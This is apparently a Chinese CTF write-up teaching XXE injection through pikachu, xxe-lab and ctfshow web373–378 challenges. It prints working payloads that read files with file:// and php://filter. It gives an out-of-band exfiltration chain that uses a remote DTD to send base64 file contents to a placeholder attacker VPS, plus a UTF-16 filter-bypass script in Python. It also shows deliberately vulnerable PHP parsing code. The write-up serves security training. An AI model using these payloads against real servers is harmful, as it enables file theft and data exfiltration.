PS:现在很多语言里对应的解析xml的函数默认是禁止解析xml外部实体内容的
就如在php中,对于xml的解析用的是libxml,在libxml版本>=2.9.0时默认是禁止解析xml外部实体内容的。
在本次案例中,为了漏洞复现,手动指定LIBXML_NOENT选项开启了xml实体注入。
XXE漏洞简介:
XXE -"xml external entity injection"
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。
xml的简单介绍:
XML 指可扩展标记语言(eXtensible Markup Language)。
XML 文档第一行以 XML 声明开始,用来表述文档的一些信息,如:<?xml version="1.0" encoding="UTF-8"?>
<?xml version="1.0" encoding="UTF-8"?>
<site>
<name>RUNOOB</name>
<url>https://www.xml.com</url>
<logo>xml-logo.png</logo>
<desc>xml</desc>
</site>
pikachu的演示:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<x>&f;</x>
php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php
#回忆一下,php的filter协议
传入后:返回base64 解码后:
<?xml version = "1.0"?>
<!DOCTYPE note [
<!ENTITY hacker "xxeme">
]>
<name>&hacker;</name>
防止突然上题目而带来的突兀感,我们在实战之前通过一下,xee-lab的具体分析,以此来具体了解一下,该漏洞:
无法登陆,burp抓包看看:
发现传入的是这种标签,格式,没错这就是xml
特别注意:
这里应该选择Nginx:
ctfshow web373
error_reporting(0);
libxml_disable_entity_loader(false);//不禁止外部实体载入
$xmlfile = file_get_contents('php://input');//拿POST原始数据,赋值给xmlfile
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);// 把 DOM 对象转换为 PHP 对象。相当于从XML变成了PHP里面的对象。
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
尝试写一个payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
<!ENTITY hacker SYSTEM "file:///flag">//必须得知道文件名称
]>
<root>
<ctfshow>
&hacker;
</ctfshow>
</root>
burpsuite 抓包:
POST 传参:
web 374-376
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
#发现相比上一次,少了下列几行:
$creds = simplexml_import_dom($dom);// 把 DOM 对象转换为 PHP 对象。相当于从XML变成了PHP里面的对象。
$ctfshow = $creds->ctfshow;
echo $ctfshow;
这种题目有一招通杀的办法,既然页面无回显,我们利用tcp,将其发送到我们的远程vps,上。
下面给出这类的固定套路:
payload:
<!DOCTYPE note[
<!ENTITY % remote SYSTEM "http://vps-ip-you/xxe.dtd">
%remote;%int;%send;
]>
http://vps-ip-you/xxe.dtd,路径下要有xxe.dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://vps-ip-you/%file;'>">
但是我突发奇想,能不能传递一个根本不存在的vps,利用报错信息将其带出来;
我试了之后,发现并不行。
总而言之:这种无回显的题目,思路就是,利用服务器日志,将其信息外带出来。
下面我们再了解一下绕过的情况:
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
发现过滤了头文件,http,文件:
利用以下payload:
import requests
url = 'http://31bfa099-0c5c-4d78-9477-6a6513953714.challenge.ctf.show:8080/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/xxe.xml">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)
ctfshow web 378
哦,跟我们的xxe-lab的模式一样,传入抓包: